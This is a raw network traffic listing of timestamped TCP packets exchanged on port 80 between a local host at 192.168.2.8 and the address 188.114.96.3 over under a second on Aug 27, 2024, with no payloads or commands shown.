Aug 27, 2024 09:49:37.218482018 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.218494892 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.218513966 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.218524933 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.218528032 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.218573093 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.218604088 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.218616962 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.218633890 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.218647003 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.218655109 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.218660116 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.218683004 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.218689919 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.218709946 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.218729019 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.218786955 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.218800068 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.218811035 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.218827009 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.218853951 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.219078064 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.219099045 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.219111919 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.219140053 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.219199896 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.219212055 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.219223022 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.219235897 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.219249964 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.219319105 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.298868895 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.298917055 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.298928976 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.298949003 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.298963070 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.299071074 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.299195051 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.299209118 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.299221992 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.299247026 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.299263954 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.299812078 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.299824953 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.299833059 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.299897909 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.299971104 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.299983025 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.299993992 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.300009012 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.300015926 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.300033092 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.300213099 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.300225019 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.300235987 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.300247908 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.300249100 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.300261021 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.300275087 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.300280094 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.300282955 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.300328970 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.300333977 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.300455093 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.300467014 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.300478935 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.300501108 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.300503016 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.300517082 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.300529957 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.300530910 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.300554991 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.300731897 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.300744057 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.300755978 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.300772905 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.300786018 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.300787926 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.300797939 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.300812960 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.300822973 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.300857067 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.300884008 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.301013947 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.301027060 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.301038980 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.301052094 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.301065922 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.301074028 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.301079035 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.301090956 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.301095963 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.301110029 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.301120996 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.301132917 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.301146030 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.301161051 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.301182032 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.301187038 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.301198006 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.301211119 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.301222086 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.301240921 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.301254034 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.303060055 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.303082943 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.303093910 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.303148031 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.303160906 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.303169966 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.303173065 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.303186893 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.303189993 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.303205013 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.303245068 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.303288937 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.303602934 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.303622007 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.303682089 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.303694010 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.303719044 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.303735971 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.303749084 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.303761959 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.303771973 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.303782940 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.303807020 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.303824902 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.303833961 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.303837061 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.303850889 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.303872108 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.303906918 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.303920031 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.303930998 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.303950071 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.303961039 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.303982019 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.303994894 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.304028034 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.304693937 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.304745913 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.304755926 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.304794073 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.304807901 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.304827929 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.304838896 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.304851055 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.304851055 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.304886103 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.304909945 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.304919004 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.304930925 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.304941893 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.304959059 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.304969072 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.304971933 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.304984093 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.304996014 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.305023909 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.305028915 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.305042028 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.305075884 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.305083990 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.305089951 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.305107117 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.305119991 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.305124998 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.305200100 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.305211067 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.305223942 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.305227995 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.305238962 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.305335999 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.305491924 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.305537939 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.305550098 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.305582047 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.305634022 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.305646896 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.305659056 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.305671930 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.305680990 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.305685043 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.305705070 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.305722952 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.305730104 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.305742025 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.305756092 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.305768967 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.305779934 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.305835009 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.305844069 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.305847883 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.305893898 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.305996895 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.306061029 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.306073904 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.306092978 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.306102037 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.306106091 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.306117058 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.306148052 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.306169033 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.306174994 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.306216002 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.386069059 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.386094093 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.386106014 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.386168957 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.386168003 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.386179924 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.386190891 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.386203051 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.386212111 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.386225939 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.386583090 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.386631012 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.386636972 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.386642933 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.386681080 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.386763096 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.386775970 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.386786938 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.386799097 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.386810064 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.386852026 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.386883974 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.386909962 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.386919975 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.386930943 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.386943102 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.386951923 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.386954069 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.386965990 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.386971951 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.387006998 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.387129068 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.387140036 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.387151957 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.387165070 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.387176037 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.387176991 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.387192965 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.387201071 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.387204885 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.387221098 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.387290001 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.387300014 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.387315035 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.387337923 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.387350082 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.387363911 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.387408972 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.387514114 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.387525082 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.387535095 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.387546062 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.387562990 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.387574911 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.387584925 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.387586117 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.387598038 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.387661934 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.387661934 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.387675047 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.387677908 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.387686014 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.387725115 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.387881994 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.387893915 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.387908936 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.387931108 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.387958050 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.388120890 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.388133049 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.388144016 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.388156891 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.388165951 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.388237953 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.390204906 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.390217066 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.390228033 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.390266895 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.390306950 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.390319109 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.390328884 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.390341043 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.390351057 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.390417099 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.390742064 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.390784025 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.390794039 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.390794992 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.390832901 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.391011000 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.391027927 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.391042948 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.391053915 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.391064882 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.391074896 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.391128063 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.391135931 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.391146898 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.391158104 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.391169071 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.391170025 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.391185999 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.391191959 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.391199112 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.391230106 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.391892910 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.391905069 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.391911030 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.391957045 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.391993999 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.392004967 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.392016888 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.392028093 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.392040968 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.392091990 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.392116070 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.392128944 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.392141104 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.392151117 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.392162085 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.392168045 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.392174959 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.392189026 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.392189980 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.392216921 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.392297983 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.392308950 CEST	80	49715	188.114.96.3	192.168.2.8
